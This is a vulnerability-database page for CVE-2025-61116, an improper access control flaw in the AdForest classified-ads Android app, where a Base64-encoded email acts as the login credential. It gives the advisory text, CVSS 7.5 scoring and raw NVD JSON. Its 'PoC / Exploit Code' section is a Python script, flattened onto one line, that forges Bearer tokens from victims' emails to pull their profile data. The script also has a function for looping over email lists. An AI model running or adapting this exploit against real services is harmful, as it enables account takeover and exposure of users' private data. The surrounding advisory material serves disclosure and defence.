Security Vulnerability Report
中文
CVE-2025-61116 CVSS 7.5 HIGH

CVE-2025-61116

Published: 2025-10-30 16:15:36
Last Modified: 2026-04-15 00:35:42

Description

AdForest - Classified Android App version 4.0.12 (package name scriptsbundle.adforest), developed by Muhammad Jawad Arshad, contains an improper access control vulnerability in its authentication mechanism. The app uses a Base64-encoded email address as the authorization credential, which can be manipulated by attackers to gain unauthorized access to user accounts. Successful exploitation could result in account compromise, privacy breaches, and misuse of the platform.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

AdForest Android App < 4.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import base64 import requests import json # CVE-2025-61116 PoC - AdForest Authentication Bypass # Target: AdForest Android App v4.0.12 class AdForestExploit: def __init__(self, target_url): self.target_url = target_url self.session = requests.Session() def encode_email(self, email): # Encode email as Base64 as the app does return base64.b64encode(email.encode()).decode() def bypass_auth(self, target_email): # Encode the target email auth_token = self.encode_email(target_email) # Craft the malicious request headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json', 'User-Agent': 'AdForest/4.0.12 Android' } # Attempt to access user account endpoint = f'{self.target_url}/api/user/profile' try: response = self.session.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f'[+] SUCCESS: Accessed account for {target_email}') print(f'[+] Response: {json.dumps(data, indent=2)}') return True else: print(f'[-] FAILED: Status code {response.status_code}') return False except Exception as e: print(f'[-] ERROR: {str(e)}') return False def enumerate_users(self, email_list): # Automated user enumeration for email in email_list: print(f'[*] Trying: {email}') self.bypass_auth(email) if __name__ == '__main__': # Configuration target = 'https://adforest-api.example.com' target_email = '[email protected]' exploit = AdForestExploit(target) exploit.bypass_auth(target_email)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61116", "sourceIdentifier": "[email protected]", "published": "2025-10-30T16:15:36.230", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AdForest - Classified Android App version 4.0.12 (package name scriptsbundle.adforest), developed by Muhammad Jawad Arshad, contains an improper access control vulnerability in its authentication mechanism. The app uses a Base64-encoded email address as the authorization credential, which can be manipulated by attackers to gain unauthorized access to user accounts. Successful exploitation could result in account compromise, privacy breaches, and misuse of the platform."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://kar1oz.notion.site/AdForest-Classified-2629a473ecb2806cb787d3654f3e50b8", "source": "[email protected]"}]}}